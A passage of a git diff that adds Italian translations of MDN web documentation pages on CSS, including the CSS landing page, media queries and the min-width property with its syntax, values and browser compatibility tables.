+   <li><a href="/it/CSS/Type_selectors" title="it/CSS/Type_selectors">Selettori di tipo</a></li>
+   <li><a href="/it/CSS/Class_selectors" title="it/CSS/Class_selectors">Selettori di classe</a></li>
+   <li><a href="/it/CSS/ID_selectors" title="it/CSS/ID_selectors">Selettori di ID</a></li>
+   <li><a href="/it/CSS/Universal_selectors" title="it/CSS/Universal_selectors">Selettori universali</a></li>
+   <li><a href="/it/CSS/Attribute_selectors" title="it/CSS/Attribute_selectors">Selettori di attributo</a></li>
+   <li><a href="/it/CSS/Pseudo-classes" title="it/CSS/Pseudo-classes">Pseudoclassi</a></li>
+   <li><a href="/it/CSS/Pseudo-elements" title="it/CSS/Pseudo-elements">Pseudo-elementi</a></li>
+  </ul>
+ </li>
+ <li>Combinatori
+  <ul>
+   <li><a href="/it/CSS/Selettori_di_elementi_adiacenti" title="it/CSS/Selettori_di_elementi_adiacenti">Selettori di elementi adiacenti</a></li>
+   <li><a href="/it/CSS/elettori_di_figli" title="it/CSS/elettori_di_figli">Selettori di figli</a></li>
+   <li><a href="/it/CSS/Selettori_di_discendenti" title="it/CSS/Selettori_di_discendenti">Selettori di discendenti</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Concetti" name="Concetti">Concetti</h3>
+
+<ul>
+ <li><a href="/it/CSS/Commenti" title="it/CSS/Commenti">Commenti</a></li>
+ <li><a href="/it/CSS/initial_value" title="it/CSS/initial_value">Valore iniziale</a></li>
+ <li><a href="/it/CSS/inheritance" title="it/CSS/inheritance">Eredità</a></li>
+ <li><a href="/it/CSS/specified_value" title="it/CSS/specified_value">Valore specificato</a></li>
+ <li><a href="/it/CSS/computed_value" title="it/CSS/computed_value">Valore calcolato</a></li>
+ <li><a href="/it/CSS/used_value" title="it/CSS/used_value">Valore utilizzato</a></li>
+ <li><a href="/it/CSS/actual_value" title="it/CSS/actual_value">Valore attuale</a></li>
+ <li><a href="/it/CSS/box_model" title="it/CSS/box_model">box model</a></li>
+</ul>
+
+<h3 id="Estensioni_di_Mozilla" name="Estensioni_di_Mozilla">Estensioni di Mozilla</h3>
+
+<ul>
+ <li><a href="/it/CSS_Reference/Estensioni_di_Mozilla" title="it/CSS_Reference/Estensioni_di_Mozilla">CSS Reference:Estensioni di Mozilla</a></li>
+</ul>
+
+<p>{{ languages( { "de": "de/CSS_Referenz", "es": "es/Referencia_CSS", "fr": "fr/CSS/R\u00e9f\u00e9rence_CSS", "it": "it/Guida_di_riferimento_ai_CSS", "ja": "ja/CSS_Reference", "ko": "ko/CSS_Reference", "pl": "pl/Dokumentacja_CSS", "zh-cn": "cn/CSS_\u53c2\u8003" } ) }}</p>
diff --git a/files/it/web/css/index.html b/files/it/web/css/index.html
new file mode 100644
index 0000000000..4a4f4efb55
--- /dev/null
+++ b/files/it/web/css/index.html
@@ -0,0 +1,107 @@
+---
+title: CSS
+slug: Web/CSS
+tags:
+  - CSS
+  - Design
+  - Stile
+translation_of: Web/CSS
+---
+<p>Il <strong>Cascading Style Sheets (CSS)</strong> è un linguaggio per <a href="https://developer.mozilla.org/en-US/docs/DOM/stylesheet">fogli di stile</a> utilizzato per descrivere la presentazione di un documento scritto in <a href="https://developer.mozilla.org/en-US/docs/HTML" title="The HyperText Mark-up Language">HTML</a> o <a href="https://developer.mozilla.org/en-US/docs/XML" title="en-US/docs/XML">XML</a> (inclusi vari linguaggi XML quali <a href="https://developer.mozilla.org/en-US/docs/SVG" title="en-US/docs/SVG">SVG</a> o <a href="https://developer.mozilla.org/en-US/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>). Il CSS descrive come gli elementi dovrebbero apparire su schermo, su carta, nel parlato o in altri media.</p>
+
+<p>Il CSS è uno dei linguaggi fondamentali dell'<strong>open Web</strong> ed è standardizzato nei browser web secondo la <a class="external" href="http://w3.org/Style/CSS/#specs">specifica W3C</a>. Sviluppato a livelli, il CSS1 è ora obsoleto, il CSS2.1 è raccomandato, e CSS3, ora diviso in moduli più piccoli, sta progredendo sulla via della standardizzazione.</p>
+
+<section id="sect1">
+<ul class="card-grid">
+ <li><span>Introduzione al CSS</span>
+
+  <p>Se sei nuovo nello sviluppo web, assicurati di leggere il nostro articolo sulle <a href="https://developer.mozilla.org/it/docs/Learn/Getting_started_with_the_web/CSS_basics">basi del CSS</a> per imparare cos'è il CSS e come usarlo.</p>
+ </li>
+ <li><span>Tutorial CSS</span>
+  <p>La nostra <a href="https://wiki.developer.mozilla.org/it/docs/Learn/CSS">area di apprendimento CSS</a> contiene una vasta gamma di tutorial per portarti da un livello principiante a competente, coprendo tutti i fondamenti.</p>
+ </li>
+ <li><span>Guida di Riferimento</span>
+  <p>La nostra esaustiva <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Reference">guida di riferimento CSS</a> per sviluppatori esperti descrive ogni proprietà e concetto CSS.</p>
+ </li>
+</ul>
+</section>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentazione_ed_esercitazioni_su_CSS">Documentazione ed esercitazioni su CSS</h2>
+
+<dl>
+ <dt>Concetti chiave del CSS</dt>
+ <dd>Descrive la <a href="https://developer.mozilla.org/en-US/docs/CSS/Syntax" title="/en-US/docs/CSS/Syntax">sintassi del linguaggio </a>e introduce a elementi fondamentali quali <a href="https://developer.mozilla.org/en-US/docs/CSS/Specificity" title="Specificity">specificità</a> ed <a href="https://developer.mozilla.org/en-US/docs/CSS/inheritance" title="inheritance">ereditarietà</a>, il <a href="https://developer.mozilla.org/en-US/docs/CSS/box_model" title="Box model">modello a box</a> ed il <a href="https://developer.mozilla.org/en-US/docs/CSS/margin_collapsing" title="Margin collapsing">collasso dei margini</a>, <a href="https://developer.mozilla.org/en-US/docs/CSS/Understanding_z-index/The_stacking_context" title="The stacking context">impilamento</a> e contesti di <a href="https://developer.mozilla.org/en-US/docs/CSS/block_formatting_context" title="block formatting context">formattazione dei blocchi</a>, o i valori <a href="https://developer.mozilla.org/en-US/docs/CSS/initial_value" title="initial value">iniziali</a>, <a href="https://developer.mozilla.org/en-US/docs/CSS/computed_value" title="computed value">calcolati</a>, <a href="https://developer.mozilla.org/en-US/docs/CSS/used_value" title="used value">utilizzati</a> ed <a href="https://developer.mozilla.org/en-US/docs/CSS/actual_value" title="actual value">attuali</a>. Sono anche definite entità quali le <a href="https://developer.mozilla.org/en-US/docs/CSS/Shorthand_properties" title="CSS/Shorthand_properties">proprietà scorciatoia di CSS</a>.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Writing_Efficient_CSS" title="CSS/Writing_Efficient_CSS">Scrivere CSS efficienti</a></dt>
+ <dd>Spiega come i motori dei fogli di stile realizzano il riscontro dei selettori e descrive le regole per la scrittura di CSS più efficienti.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transforms" title="How to use CSS3 Transforms (2D and 3D)">Utilizzare le trasformazioni di CSS</a></dt>
+ <dd>Illustra le operazioni 2D che possono essere applicate a ogni elemento al fine di ruotarlo, inclinarlo o traslarlo.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions" title="How to use CSS3 Transitions">Utilizzare le transizioni di CSS</a></dt>
+ <dd>Spiega come cambiare l'aspetto di un elemento utilizzado un'animazione graduale tra lo stato iniziale e il finale.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_animations" title="How to use CSS3 Animations">Utilizzare le animazioni di CSS</a></dt>
+ <dd>Descrive come definire le animazioni di un elemento ma anche come <a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_animations/Detecting_CSS_animation_support" title="https://developer.mozilla.org/en-US/docs/CSS/CSS_animations/Detecting_CSS_animation_support">rilevare</a> con Javascript se il browser le supporta.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_gradients" title="How to use CSS3 Gradients">Utilizzare i gradienti di CSS</a></dt>
+ <dd>Spiega come definire i gradienti, immagini composte di graduali variazioni dei colori.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_multi-column_layouts" title="How to use CSS3 Multicol layout">Utilizzare l'impaginazione multicolonna di CSS</a></dt>
+ <dd>Illustra come effettuare l'impostazione di pagine a colonne multiple utilizzando l'impaginazione multicolonna di CSS Livello 3.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Multiple_backgrounds" title="How to use the CSS3 multiple background feature">Utilizzare sfondi multipli di CSS</a></dt>
+ <dd>Descrive come definire parecchi sfondi sullo stesso elemento.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Scaling_background_images" title="CSS/Scaling_background_images">Scalare immagini di sfondo</a></dt>
+ <dd>Mostra come controllare il comportamento delle immagini di sfondo quando queste non riscontrano esattamente la dimensione del loro contenitore.</dd>
+ <dt><a class="internal" href="https://developer.mozilla.org/en-US/docs/CSS/Media_queries" title="How to use CSS3 Media Queries">Utilizzare l'interrogazione del media di CSS</a></dt>
+ <dd>Presenta come selezionare i fogli di stile in base a dettagli del dispositivo di visualizzazione, come la dimensione dell'area disponibile, la sua risoluzione o se ha un touchscreen.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS_Counters" title="CSS Counters">Utilizzare i contatori di CSS</a></dt>
+ <dd>Spiega come utilizzare numerazione e contatori automatici, essenzialmente utilizzati come contatori d'elenco.</dd>
+ <dt>Font e Tipografia</dt>
+ <dd>Informa sulla gestione dei propri <a href="https://developer.mozilla.org/en-US/docs/CSS/font" title="font">font</a> utilizzando {{ cssxref("@font-face") }} e il formato <a href="https://developer.mozilla.org/en-US/docs/WOFF" title="About_WOFF">font WOFF</a>.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_flexible_boxes" title="Using CSS flexible boxes">Utilizzare i box flessibili di CSS</a></dt>
+ <dd>Descrive come utilizzare i box felssibili per la progettazione dell'impaginazione.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Consistent_List_Indentation" title="Consistent_List_Indentation">Il Rientro Coerente degli Elenchi</a></dt>
+ <dd>Cercare di cambiare il rientro delle liste con i CSS è più complicato di quanto sembri, ma solo perchè i browser conformi a CSS hanno intrapreso strade diverse sul rientro predefinito. <span id="result_box" lang="it"><span class="hps">Scopri</span> <span class="hps">come metterli tutti</span><span class="hps"> in</span> <span class="hps">riga.</span></span></dd>
+ <dt></dt>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/DOM/Using_dynamic_styling_information" title="DOM/Using_dynamic_styling_information">Utilizzare le informazioni di stile dinamiche</a></dt>
+ <dd>Come ottenere informazioni sullo stile e manipolarlo via DOM.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="https://developer.mozilla.org/en-US/docs/tag/CSS" title="/en-US/docs/tag/CSS">Vedi Tutto...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Community" id="Community" name="Community">Ottentere aiuto dalla comunità</h2>
+
+<p>Hai bisogno di aiuto su problemi relativi a CSS e non trovi la soluzione nella documentazione?</p>
+
+<ul>
+ <li><span id="result_box" lang="it"><span class="hps">Controlla le</span> </span><a href="https://developer.mozilla.org/en-US/docs/CSS/Common_CSS_Questions" title="en-US/docs/CSS/Common_CSS_Questions">domande comuni su CSS</a><span id="result_box" lang="it"> <span class="hps">che danno suggerimenti</span> <span class="hps">per risolvere i</span> <span class="hps">problemi</span> comuni<span>.</span></span></li>
+ <li>Vai su <a href="http://stackoverflow.com/questions/tagged/css" title="http://stackoverflow.com/questions/tagged/css">Stack Overflow</a>, un sito collaborativo di Q&amp;A in cui cercare risposte alla tue domande o, se non ne trovi, porre lì le tue domande.</li>
+ <li>Consulta il forum layout, che tratta CSS e HTML:
+  <ul>
+   <li>Poni le tue domande sul canare IRC di Mozilla: <a class="link-irc" href="irc://irc.mozilla.org/css">#css</a></li>
+   <li>Poni le tue domande sulla  <a class="external" href="http://www.css-discuss.org/">lista e sito CSS-Discuss</a></li>
+  </ul>
+ </li>
+</ul>
+
+<p><span class="alllinks"><a class="external" href="http://www.catb.org/%7Eesr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Non dimenticare la <em>netiquette</em>...</a></span></p>
+
+<h2 class="Tools" id="Tools" name="Tools">Strumenti che semplificano lo sviluppo in CSS</h2>
+
+<ul>
+ <li><span class="external">Il </span><a class="external" href="http://jigsaw.w3.org/css-validator/">Servizio di Validazione di CSS del W3C</a> controlla se un dato CSS è valido. E' un'inestimabile strumento di debug.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1843">L'estensione Firebug</a><span class="external"> di FireFox, una popolare estensione che permette di modificare il CSS in uso sul sito che si sta visualizzando. Molto pratica per testare i cambiamenti, sebbene questa estensione faccia molto di più</span>.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/60">L'estensione Web Developer</a> di FireFox permette anche di vedere e editare il CSS in uso sul sito visualizzato. Più semplice di Firebug, sebbene meno potente.</li>
+ <li><a class="external link-https" href="https://addons.mozilla.org/en-US/firefox/addon/179">L'estensione EditCSS</a> di FireFox permette di editare il CSS nella barra laterale.</li>
+</ul>
+
+<p><span class="alllinks"><a href="https://developer.mozilla.org/en-US/docs/tag/CSS:Tools" title="/en-US/docs/tag/CSS:Tools">Vedi Tutto...</a></span></p>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Argomenti correlati</h2>
+
+<ul>
+ <li>Mozilla Learn, <a href="https://developer.mozilla.org/en-US/learn/css" title="https://developer.mozilla.org/en-US/learn/css">risorse su CSS</a>.</li>
+ <li>I linguaggi Open Web a cui CSS è spesso applicato: <a href="https://developer.mozilla.org/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a>, <a href="https://developer.mozilla.org/en-US/docs/SVG" title="SVG">SVG</a>, <a href="https://developer.mozilla.org/en-US/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>, <a href="https://developer.mozilla.org/en-US/docs/XML" title="en-US/docs/XML">XML</a>.</li>
+ <li>Le tecnologie di Mozilla che fanno esteso uso di CSS: <a href="https://developer.mozilla.org/en-US/docs/XUL" title="en-US/docs/XUL">XUL</a>, <a href="https://developer.mozilla.org/en-US/docs/Extensions" title="en-US/docs/Extensions">estensioni</a> e <a href="https://developer.mozilla.org/en-US/docs/Themes" title="en-US/docs/Themes">temi</a> di Firefox e Thunderbird.</li>
+</ul>
+</div>
+</div>
diff --git a/files/it/web/css/media_queries/index.html b/files/it/web/css/media_queries/index.html
new file mode 100644
index 0000000000..aaa9a6ac17
--- /dev/null
+++ b/files/it/web/css/media_queries/index.html
@@ -0,0 +1,136 @@
+---
+title: Media queries
+slug: Web/CSS/Media_Queries
+tags:
+  - CSS
+  - CSS3 Media Query
+  - Disegno Responsivo
+  - media query
+translation_of: Web/CSS/Media_Queries
+---
+<div>{{CSSRef("CSS3 Media Queries")}}</div>
+
+<p>Le<strong> Media Queries</strong> sono un componente essenziale del <a href="/en-US/docs/Web/Apps/Progressive/Responsive">disegno responsivo</a>, che rende possibile adattare il codice CSS a differenti parametri e caratteristiche dei dispositivi con cui viene visualizzato un sito. Per esempio, una media query può applicare uno stile differente al sito se lo schermo del dispositivo è di dimensioni inferiori a un certo limite, o a seconda che l'utente stia usando il dispositivo in modalità portrait (visualizzazione verticale) o landscape (visualizzazione orizzontale).  La direttiva {{cssxref("@media")}} è usata per applicare stili condizionali a un documento.</p>
+
+<p>Inoltre, la sintassi delle media queries è usata anche in altri contesti, come nell'attributo {{htmlattrxref("media", "source")}} di un elemento {{HTMLElement("source")}} , con il quale si può specificare quale sorgente usare per un elemento {{HTMLElement("picture")}}.</p>
+
+<p>Esiste inoltre il metodo {{domxref("Window.matchMedia()")}} che si può usare per testare il rapporto tra lo schermo corrente e una media query. Puoi anche usare {{domxref("MediaQueryList.addListener()")}} per ricevere una notifica ogni volta che lo stato delle queries cambia. Con quesa funzionalità, il tuo sito o la tua applicazione possono rispondere a cambi nella configurazione, nell'orientamento o nello stato del dispositivo.</p>
+
+<p>Puoi saperne di più su come usare le media queries programmaticamente nell'articolo <a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Testing media queries</a>.</p>
+
+<h2 id="Referenze">Referenze</h2>
+
+<h3 id="Direttive">Direttive</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@import")}}</li>
+ <li>{{cssxref("@media")}}</li>
+</ul>
+</div>
+
+<h2 id="Guide">Guide</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">Come usare le media queries</a></dt>
+ <dd>Introduzione alle media queries, alla loro sintassi, agli operatori e alle funzionalità usate per costruire espressioni di media query.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Come testare le media queries</a></dt>
+ <dd>Come testare le media queries dal tuo codice JavaScript, programmaticamente, per determinare lo stato del dispositivo, e implementare listeners che comunichino al tuo codice un cambio nei risultati delle media queries, come per esempio quando l'utente ruota lo schermo, causando un cambio di orientamento.</dd>
+</dl>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'media.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Browser</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto basico</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.7)}}</td>
+   <td>9.0</td>
+   <td>9.2</td>
+   <td>1.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Browser</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>
+    <table class="compat-table">
+     <tbody>
+      <tr>
+       <td>Supporto basico</td>
+       <td> </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.7)}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/it/web/css/min-width/index.html b/files/it/web/css/min-width/index.html
new file mode 100644
index 0000000000..881d345344
--- /dev/null
+++ b/files/it/web/css/min-width/index.html
@@ -0,0 +1,258 @@
+---
+title: min-width
+slug: Web/CSS/min-width
+tags:
+  - CSS
+  - Proprietà CSS
+  - Riferimento
+translation_of: Web/CSS/min-width
+---
+<div>{{CSSRef}}</div>
+
+<p>La proprietà <a href="/en-US/docs/CSS">CSS</a> <strong><code>min-width</code></strong> imposta la larghezza minima di un elemento.  Questo evita che lo <a href="/it-IT/docs/Web/CSS/used_value">used value</a> della proprietà {{ Cssxref("width") }} diventi più piccolo del valore specificato per <code>min-width</code>.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; value */
+min-width: 3.5em;
+
+/* &lt;percentage&gt; value */
+min-width: 10%;
+
+/* Keyword values */
+min-width: max-content;
+min-width: min-content;
+min-width: fit-content;
+min-width: fill-available;
+
+/* Global values */
+min-width: inherit;
+min-width: initial;
+min-width: unset;
+</pre>
+
+<p>La larghezza dell'elemento viene impostata al valore di <code>min-width</code> ogni volta che <code>min-width</code> risulta essere maggiore di {{ Cssxref("max-width") }} or {{Cssxref("width")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<h3 id="Valori">Valori</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>La larghezza minima espressa come {{cssxref("&lt;length&gt;")}}. Valori negativi rendono la dichiarazione non valida.</dd>
+ <dt> </dt>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>La larghezza minima espressa come {{cssxref("&lt;percentage&gt;")}} della larghezza del contenitore. Valori negativi rendono la dichiarazione non valida.</dd>
+</dl>
+
+<h4 id="Parole_chiave">Parole chiave</h4>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La larghezza di default per oggetti di tipo flex, assegna un valore di default più ragionevole di 0 per gli altri layout.</dd>
+ <dt><code>max-content</code> {{ experimental_inline() }}</dt>
+ <dd>La larghezza massima preferita (<em>intrinsic</em>).</dd>
+ <dt><code>min-content</code> {{ experimental_inline() }}</dt>
+ <dd>La larghezza minima preferita (<em>intrinsic</em>).</dd>
+ <dt><code>fill-available</code>{{ experimental_inline() }}</dt>
+ <dd>La larghezza del blocco contenitore sottratto de: il margine orizzontale, il bordo ed il padding. (Alcuni browsers usano un nome diverso per questa parola chiave, <code>available</code>.)</dd>
+ <dt><code>fit-content</code> {{ experimental_inline() }}</dt>
+ <dd>Definito come <code>min(max-content, max(min-content, fill-available))</code>.</dd>
+</dl>
+
+<h3 id="Sintassi_formale">Sintassi formale</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush:css;">table { min-width: 75%; }
+
+form { min-width: 0; }
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'min-width') }}</td>
+   <td>{{ Spec2('CSS3 Sizing') }}</td>
+   <td>Vengono aggiunte le parole chiave <code>max-content</code>, <code>min-content</code>, <code>fit-content</code> e <code>fill-available</code>. (I draft Box CSS3 e CSS3 Writing Modes definiscono queste keyword, ma vengono sostituiti da questa specifica.<em>)</em></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#min-size-auto', 'min-width') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Viene aggiunta la keyword <code>auto</code> e viene utilizzata come valore iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'min-width') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Definisce <code>min-width</code> come animabile.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'min-width') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilità dei browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0 (1.0)</td>
+   <td>7.0</td>
+   <td>4.0</td>
+   <td>2.0.2 (416), buggy before</td>
+  </tr>
+  <tr>
+   <td>si applica a <code>&lt;table&gt;</code> <sup>[1]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, e<code>fill-</code><code>available</code> {{ experimental_inline() }}</td>
+   <td>24.0 {{property_prefix("-webkit")}} [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("1.9") }} {{ property_prefix("-moz") }} [2]</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }} [3]</td>
+  </tr>
+  <tr>
+   <td><code>auto</code></td>
+   <td>21.0 [4]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("16.0") }} [4]<br>
+    Removed in {{ CompatGeckoDesktop("22.0") }}<br>
+    Reintroduced in {{CompatGeckoDesktop("34.0")}} with the new behavior defined by the spec.</td>
+   <td>{{ CompatNo() }}</td>
+   <td>12.10 [6]</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>auto</code> as initial value{{obsolete_inline()}}</td>
+   <td>21.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("18.0") }}<br>
+    Removed in {{ CompatGeckoDesktop("22.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>12.10</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}[5]</td>
+  </tr>
+  <tr>
+   <td>applies to <code>&lt;table&gt;</code><sup>[1]</sup></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>max-content</code>, <code>min-content</code>, <code>fit-content</code>, e <code>fill-</code><code>available</code> {{ experimental_inline() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>auto</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>auto</code> come valore iniziale {{obsolete_inline()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] CSS 2.1 descrive esplicitamente il comportamento di <code>min-width</code> con {{ HTMLElement("table") }} come indefinito. Quindi qualsiasi tipo di comportamento rispetta CSS2.1; le nuove specifiche CSS potrebbero definire questo comportamento, per cui al momento gli sviluppatori Web non dovrebbero fare affidamento su una specifica implementazione.</p>
+
+<p>[2] Gecko implementa in via sperimentale le definizioni date in CSS3 Basic Box. Questa definisce la keyword <code>available</code> ma non <code>fill-available</code>. Inoltre la definizione di <code>fit-content</code> è più lasca di quella data da CSS3 Intrinsic.</p>
+
+<p>[3] WebKit implementa una proposta precedente, la parola chiave <code>intrinsic</code>.</p>
+
+<p>[4] Queste implementazioni realizzavano un comportamento leggermente più semplice per questa parola chiave: veniva impostata a <code>min-content</code> per gli oggetti di tipo flex, e <code>0</code> per qualsiasi altro elemento.</p>
+
+<p>[5] In alcuni browsers in iOS, un elemento di tipo &lt;button&gt; nella sua configurazione nativa (default) non reagirà all'impostazione del valore min-width. Questo problema dipende dai pulsanti di tipo nativo. Uno &lt;span&gt; collocato dentro ad un pulsante nativo, mostrerà lo stesso problerma, nonostante venga impostato "display:inline-block". Quando altri parametri di stile vengono impostati ed il browser è costretto ad abbandonare il pulsante nativo, l'impostazione di min-width ha effetto.  </p>
+
